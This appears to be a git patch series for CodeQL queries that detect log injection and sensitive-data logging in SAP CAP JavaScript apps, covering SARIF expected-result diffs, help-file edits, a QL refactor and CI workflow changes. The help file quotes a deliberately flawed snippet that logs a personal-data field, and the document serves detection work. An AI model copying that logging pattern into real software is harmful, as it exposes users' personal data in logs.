"javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 15, - "startColumn" : 24, - "endColumn" : 27 + "startLine" : 6, + "startColumn" : 29, + "endColumn" : 32 } }, "message" : { - "text" : "req" + "text" : "msg" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 18, - "startColumn" : 17, - "endColumn" : 20 + "startLine" : 7, + "startColumn" : 35, + "endColumn" : 38 } }, "message" : { - "text" : "req" + "text" : "msg" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", + "uriBaseId" : "%SRCROOT%", + "index" : 101 + }, + "region" : { + "startLine" : 7, + "startColumn" : 35, + "endColumn" : 43 + } + }, + "message" : { + "text" : "msg.data" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", + "uriBaseId" : "%SRCROOT%", + "index" : 101 + }, + "region" : { + "startLine" : 7, + "startColumn" : 15, + "endColumn" : 32 + } + }, + "message" : { + "text" : "{ messageToPass }" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 18, + "startLine" : 7, "startColumn" : 17, - "endColumn" : 25 + "endColumn" : 30 } }, "message" : { - "text" : "req.data" + "text" : "messageToPass" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 18, - "startColumn" : 13, - "endColumn" : 25 + "startLine" : 7, + "startColumn" : 15, + "endColumn" : 43 } }, "message" : { - "text" : "$" + "text" : "messageToPass" } } }, { "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 18, - "startColumn" : 47, - "endColumn" : 48 + "startLine" : 9, + "startColumn" : 32, + "endColumn" : 45 } }, "message" : { - "text" : "$" + "text" : "messageToPass" } } } ] @@ -28376,14 +28651,14 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 2 + "index" : 101 }, "region" : { - "startLine" : 15, - "startColumn" : 24, - "endColumn" : 27 + "startLine" : 6, + "startColumn" : 29, + "endColumn" : 32 } }, "message" : { @@ -28405,9 +28680,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 9, @@ -28426,9 +28701,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 6, @@ -28444,9 +28719,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 7, @@ -28462,9 +28737,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 7, @@ -28480,9 +28755,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 7, @@ -28498,9 +28773,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 7, @@ -28516,9 +28791,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 7, @@ -28534,9 +28809,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 9, @@ -28552,9 +28827,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 9, @@ -28570,9 +28845,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 6, @@ -28588,9 +28863,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 7, @@ -28606,9 +28881,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 7, @@ -28624,9 +28899,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 7, @@ -28642,9 +28917,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 7, @@ -28660,9 +28935,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 7, @@ -28678,9 +28953,9 @@ "location" : { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 112 }, "region" : { "startLine" : 9, @@ -28699,9 +28974,9 @@ "id" : 1, "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 107 }, "region" : { "startLine" : 6, @@ -28713,167 +28988,6 @@ "text" : "user-provided value" } } ] - }, { - "ruleId" : "js/cap-log-injection", - "rule" : { - "id" : "js/cap-log-injection", - "index" : 1, - "toolComponent" : { - "index" : 2 - } - }, - "message" : { - "text" : "Log entry depends on a [user-provided value](1)." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 25, - "startColumn" : 16, - "endColumn" : 29 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "4dc77ce4a9b7031e:1", - "primaryLocationStartColumnFingerprint" : "9" - }, - "codeFlows" : [ { - "threadFlows" : [ { - "locations" : [ { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 23, - "startColumn" : 34, - "endColumn" : 54 - } - }, - "message" : { - "text" : "req2.params.category" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 23, - "startColumn" : 13, - "endColumn" : 31 - } - }, - "message" : { - "text" : "{ book, quantity }" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 23, - "startColumn" : 15, - "endColumn" : 19 - } - }, - "message" : { - "text" : "book" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 23, - "startColumn" : 13, - "endColumn" : 54 - } - }, - "message" : { - "text" : "book" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 25, - "startColumn" : 25, - "endColumn" : 29 - } - }, - "message" : { - "text" : "book" - } - } - }, { - "location" : { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 25, - "startColumn" : 16, - "endColumn" : 29 - } - }, - "message" : { - "text" : "\"CAP:\" + book" - } - } - } ] - } ] - } ], - "relatedLocations" : [ { - "id" : 1, - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 2 - }, - "region" : { - "startLine" : 23, - "startColumn" : 34, - "endColumn" : 54 - } - }, - "message" : { - "text" : "user-provided value" - } - } ] }, { "ruleId" : "js/cap-log-injection", "rule" : { @@ -28912,7 +29026,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 6, @@ -28930,7 +29044,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 7, @@ -28948,7 +29062,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 7, @@ -28966,7 +29080,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 7, @@ -28984,7 +29098,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 7, @@ -29002,7 +29116,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 7, @@ -29020,7 +29134,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 9, @@ -29038,7 +29152,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 9, @@ -29315,7 +29429,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 114 + "index" : 115 }, "region" : { "startLine" : 6, @@ -29344,6 +29458,77 @@ "text" : "user-provided value" } } ] + }, { + "ruleId" : "javascript/sensitive-log", + "rule" : { + "id" : "javascript/sensitive-log", + "index" : 2, + "toolComponent" : { + "index" : 2 + } + }, + "message" : { + "text" : "Log entry depends on a potentially sensitive piece of information." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", + "uriBaseId" : "%SRCROOT%", + "index" : 118 + }, + "region" : { + "startLine" : 10, + "startColumn" : 32, + "endColumn" : 43 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "c2d27f652a20308e:1", + "primaryLocationStartColumnFingerprint" : "23" + }, + "codeFlows" : [ { + "threadFlows" : [ { + "locations" : [ { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", + "uriBaseId" : "%SRCROOT%", + "index" : 118 + }, + "region" : { + "startLine" : 10, + "startColumn" : 32, + "endColumn" : 43 + } + }, + "message" : { + "text" : "Sample.name" + } + } + }, { + "location" : { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/sensitive-exposure/sensitive-exposure.js", + "uriBaseId" : "%SRCROOT%", + "index" : 118 + }, + "region" : { + "startLine" : 10, + "startColumn" : 32, + "endColumn" : 43 + } + }, + "message" : { + "text" : "Sample.name" + } + } + } ] + } ] + } ] } ], "newlineSequences" : [ "\r\n", "\n", "
", "
" ], "columnKind" : "utf16CodeUnits", @@ -29358,7 +29543,7 @@ } }, "ruleId" : "js/summary/lines-of-code", - "value" : 2973 + "value" : 2981 }, { "rule" : { "id" : "js/summary/lines-of-user-code", @@ -29368,8 +29553,8 @@ } }, "ruleId" : "js/summary/lines-of-user-code", - "value" : 2973, - "baseline" : 2459 + "value" : 2981, + "baseline" : 2467 } ], "codeqlConfigSummary" : { "disableDefaultQueries" : false, From 4d346d4c2d29ee4e0fd56ebcd0cb295beede69d0 Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Fri, 19 Jul 2024 15:28:08 -0400 Subject: [PATCH 4/9] Add urls to sensitive exposure helpfile --- .../frameworks/cap/src/sensitive-exposure/SensitiveExposure.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md index 729888020..821e9ee86 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md @@ -44,4 +44,6 @@ class SampleVulnService extends cds.ApplicationService { ## References - OWASP 2021: [Security Logging and Monitoring Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/). +- OWASP: [Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html). +- OWASP: [User Privacy Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html). - SAP CAPire Documentation: [PersonalData Annotations](https://cap.cloud.sap/docs/guides/data-privacy/annotations). \ No newline at end of file From 27607272083cedbd4aeb76d93d54efffa2165027 Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Mon, 22 Jul 2024 20:21:26 -0400 Subject: [PATCH 5/9] Add fixes for helpfile review --- .../frameworks/cap/src/sensitive-exposure/SensitiveExposure.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md index 821e9ee86..7f6ab6e60 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.md @@ -1,4 +1,4 @@ - # CAP Insertion of Sensitive Information into Log File +# CAP Insertion of Sensitive Information into Log File If sensitive information is written to a log entry using the CAP Node.js logging API, a malicious user may be able to gain access to user data. @@ -37,7 +37,6 @@ class SampleVulnService extends cds.ApplicationService { init() { LOG.info("Received: ", Sample.name); // CAP log exposure alert } - } ``` From b297e846a9f985a26257a6511a3534d059d6cca6 Mon Sep 17 00:00:00 2001 From: Kristen Newbury Date: Wed, 24 Jul 2024 17:16:27 -0400 Subject: [PATCH 6/9] Refactor sensitive models --- .../javascript/frameworks/cap/CDL.qll | 57 ++++++++++++------- .../sensitive-exposure/SensitiveExposure.ql | 2 +- 2 files changed, 38 insertions(+), 21 deletions(-) diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll index 079f7c2bb..b1c595388 100644 --- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll +++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDL.qll @@ -33,6 +33,17 @@ abstract class CdlElement extends JsonObject { CdlAnnotation getAnAnnotation() { result = this.getAnnotation(_) } } +class CdlEntityField extends CdlElement { + string name; + CdlKind kind; + + CdlEntityField() { exists(CdlDefinition definition | this = definition.getElement(name)) } + + override string getName() { result = name } + + override CdlKind getKind() { result = kind } +} + class CdlService extends CdlElement { string name; CdlKind kind; @@ -127,40 +138,46 @@ class CdlAttribute extends JsonObject { string getType() { result = this.getPropStringValue("type") } int getLength() { result = this.getPropValue("length").(JsonPrimitiveValue).getIntValue() } + + string getName() { result = name } } /** * any `JsonValue` that has a `PersonalData` like annotation above it */ -class SensitiveAnnotatedElement extends JsonValue { - string annotationName; - string fieldOrEntityName; +abstract class SensitiveAnnotatedElement extends JsonValue { + abstract string getName(); +} - SensitiveAnnotatedElement() { - exists(JsonValue annotationval, JsonValue entityOrField | - annotationval = this.getPropValue(annotationName) and - annotationName.matches("@PersonalData%") and - this = entityOrField.getPropValue(fieldOrEntityName) - ) +class SensitiveAnnotatedEntity extends SensitiveAnnotatedElement instanceof CdlEntity { + SensitiveAnnotatedEntity() { exists(PersonalDataAnnotation a | a.getQualifiedElement() = this) } + + override string getName() { result = this.(CdlEntity).getName() } + + string getShortName() { result = this.getName().regexpCapture(".*\\.([^\\.]+$)", 1) } +} + +class SensitiveAnnotatedAttribute extends SensitiveAnnotatedElement instanceof CdlAttribute { + SensitiveAnnotatedAttribute() { + exists(PersonalDataAnnotation a | a.getQualifiedElement() = this) } - /** - * Gets the name of this annotation, without the leading `@` character. - */ - string getAnnotationName() { "@" + result = annotationName } + override string getName() { result = this.(CdlAttribute).getName() } +} - /** - * Gets the name of this field or entity that is annotated - */ - string getEntityOrFieldName() { result = fieldOrEntityName } +/** + * CDL annotations for PersonalData + */ +class PersonalDataAnnotation extends CdlAnnotation { + PersonalDataAnnotation() { this.getName().matches("PersonalData%") } } /** * CDL annotations specifically associated to `CdlElement`s */ -abstract class CdlAnnotation extends JsonValue { +class CdlAnnotation extends JsonValue { string annotationName; - CdlElement element; + JsonValue element; CdlAnnotation() { this = element.getPropValue(annotationName) and @@ -175,7 +192,7 @@ abstract class CdlAnnotation extends JsonValue { /** * Gets the CDL Element that this annotation is attached to. */ - CdlElement getQualifiedElement() { result = element } + JsonValue getQualifiedElement() { result = element } } class ProtocolAnnotation extends CdlAnnotation { diff --git a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql index 027a60763..faaf16269 100644 --- a/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql +++ b/javascript/frameworks/cap/src/sensitive-exposure/SensitiveExposure.ql @@ -19,7 +19,7 @@ import DataFlow::PathGraph class SensitiveExposureSource extends DataFlow::Node { SensitiveExposureSource() { exists(PropRead p, SensitiveAnnotatedElement c | - p.getPropertyName() = c.getEntityOrFieldName() and + p.getPropertyName() = c.getName() and this = p ) } From 90d2c67c892253cf524223a526fc0a32385bc22b Mon Sep 17 00:00:00 2001 From: Mauro Baluda Date: Fri, 26 Jul 2024 00:18:59 +0200 Subject: [PATCH 7/9] cds parsing example --- .github/workflows/code_scanning.yml | 147 +++++++++--------- .../run-codeql-unit-tests-javascript.yml | 37 ++--- .github/workflows/tree-sitter-config.json | 5 + .../frameworks/cap/TreeSitterXml.qll | 18 +++ .../sensitive-exposure/SensitiveExposure.ql | 21 ++- .../sensitive-exposure.expected | 2 +- 6 files changed, 129 insertions(+), 101 deletions(-) create mode 100644 .github/workflows/tree-sitter-config.json create mode 100644 javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/TreeSitterXml.qll diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml index 300cdd66b..90dfeb818 100644 --- a/.github/workflows/code_scanning.yml +++ b/.github/workflows/code_scanning.yml @@ -2,12 +2,12 @@ name: "Code Scanning" on: push: - branches: [ "main" ] + branches: ["main"] pull_request: # The branches below must be a subset of the branches above - branches: [ "main" ] + branches: ["main"] schedule: - - cron: '39 12 * * 2' + - cron: "39 12 * * 2" workflow_dispatch: env: @@ -17,91 +17,88 @@ env: jobs: analyze-javascript: name: Analyze - runs-on: 'ubuntu-latest' + runs-on: "ubuntu-latest" permissions: actions: read contents: read security-events: write steps: - - name: Checkout repository - uses: actions/checkout@v4 + - name: Checkout repository + uses: actions/checkout@v4 - - name: Prepare local CodeQL model packs - run: | - mkdir -p .github/codeql/extensions - for ext in $(find . -name 'qlpack.yml' -exec fgrep -l dataExtensions {} \;); do - dir=$(dirname $ext) - echo "Moving $ext to .github/codeql/extensions/$dir" - mkdir -p .github/codeql/extensions/$dir - mv $dir .github/codeql/extensions/$dir - done + - name: Prepare local CodeQL model packs + run: | + mkdir -p .github/codeql/extensions + for ext in $(find . -name 'qlpack.yml' -exec fgrep -l dataExtensions {} \;); do + dir=$(dirname $ext) + echo "Moving $ext to .github/codeql/extensions/$dir" + mkdir -p .github/codeql/extensions/$dir + mv $dir .github/codeql/extensions/$dir + done - - name: Ensure presence of cds shell command - run: | - if ! command -v cds &> /dev/null - then - npm install -g @sap/cds-dk - fi + - name: Install tree-sitter-cli locally + run: | + npm i tree-sitter-cli @cap-js-community/tree-sitter-cds - # Compile .cds files to .cds.json files. - - name: Compile CAP CDS files - run: | - for cds_file in $(find . -type f \( -iname '*.cds' \) -print) - do - echo "I am compiling $cds_file" - cds compile $cds_file \ - -2 json \ - -o "$cds_file.json" - done + # Parse .cds files to .cds.json files. + - name: Parse CAP CDS files + run: | + for cds_file in $(find . -type f \( -iname '*.cds' \) -print) + do + echo "I am compiling $cds_file" + node_modules/tree-sitter-cli/tree-sitter parse -x \ + --config-path .github/workflows/tree-sitter-config.json $cds_file \ + > "$cds_file.t-s.xml" + done - - name: Extract CodeQL bundle version from qlt.conf.json - run: | - echo "BUNDLE_VERSION=$(jq .CodeQLCLIBundle qlt.conf.json -r)" >> $GITHUB_ENV - - - name: Initialize CodeQL - uses: github/codeql-action/init@v3 - with: - languages: javascript - config-file: ./.github/codeql/codeql-config.yaml - tools: https://github.com/github/codeql-action/releases/download/${{env.BUNDLE_VERSION}}/codeql-bundle-linux64.tar.gz - debug: true + - name: Extract CodeQL bundle version from qlt.conf.json + run: | + echo "BUNDLE_VERSION=$(jq .CodeQLCLIBundle qlt.conf.json -r)" >> $GITHUB_ENV - - name: Perform CodeQL Analysis - id: analyze - uses: github/codeql-action/analyze@v3 + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: javascript + config-file: ./.github/codeql/codeql-config.yaml + tools: https://github.com/github/codeql-action/releases/download/${{env.BUNDLE_VERSION}}/codeql-bundle-linux64.tar.gz + debug: true - - name: Setup Python - uses: actions/setup-python@v5 - with: - python-version: '3.10' + - name: Perform CodeQL Analysis + id: analyze + uses: github/codeql-action/analyze@v3 - - uses: actions/cache@v4 - with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip + - name: Setup Python + uses: actions/setup-python@v5 + with: + python-version: "3.10" - - name: Validate results - continue-on-error: true - id: validate - run: | - pip install sarif-tools - sarif --version - sarif diff ${{ steps.analyze.outputs.sarif-output }} .github/workflows/javascript.sarif.expected -o sarif-diff.json - cat sarif-diff.json - ! grep -q "[1-9]" sarif-diff.json + - uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip - - name: Upload sarif change - if: steps.validate.outcome != 'success' - uses: actions/upload-artifact@v4 - with: - name: sarif - path: | - sarif-diff.json - ${{ steps.analyze.outputs.sarif-output }} + - name: Validate results + continue-on-error: true + id: validate + run: | + pip install sarif-tools + sarif --version + sarif diff ${{ steps.analyze.outputs.sarif-output }} .github/workflows/javascript.sarif.expected -o sarif-diff.json + cat sarif-diff.json + ! grep -q "[1-9]" sarif-diff.json - - name: Unexpected Code Scanning results - if: steps.validate.outcome != 'success' - run: | - cat sarif-diff.json - echo "::error::Unexpected Code Scanning results!" && exit 1 + - name: Upload sarif change + if: steps.validate.outcome != 'success' + uses: actions/upload-artifact@v4 + with: + name: sarif + path: | + sarif-diff.json + ${{ steps.analyze.outputs.sarif-output }} + + - name: Unexpected Code Scanning results + if: steps.validate.outcome != 'success' + run: | + cat sarif-diff.json + echo "::error::Unexpected Code Scanning results!" && exit 1 diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml index 4e0cd6e5b..c16eab7b8 100644 --- a/.github/workflows/run-codeql-unit-tests-javascript.yml +++ b/.github/workflows/run-codeql-unit-tests-javascript.yml @@ -1,13 +1,12 @@ name: ⚙️ CodeQL - Run Unit Tests (javascript) - on: push: branches: - - 'main' + - "main" pull_request: branches: - - 'main' + - "main" workflow_dispatch: jobs: @@ -22,9 +21,9 @@ jobs: - name: Install QLT id: 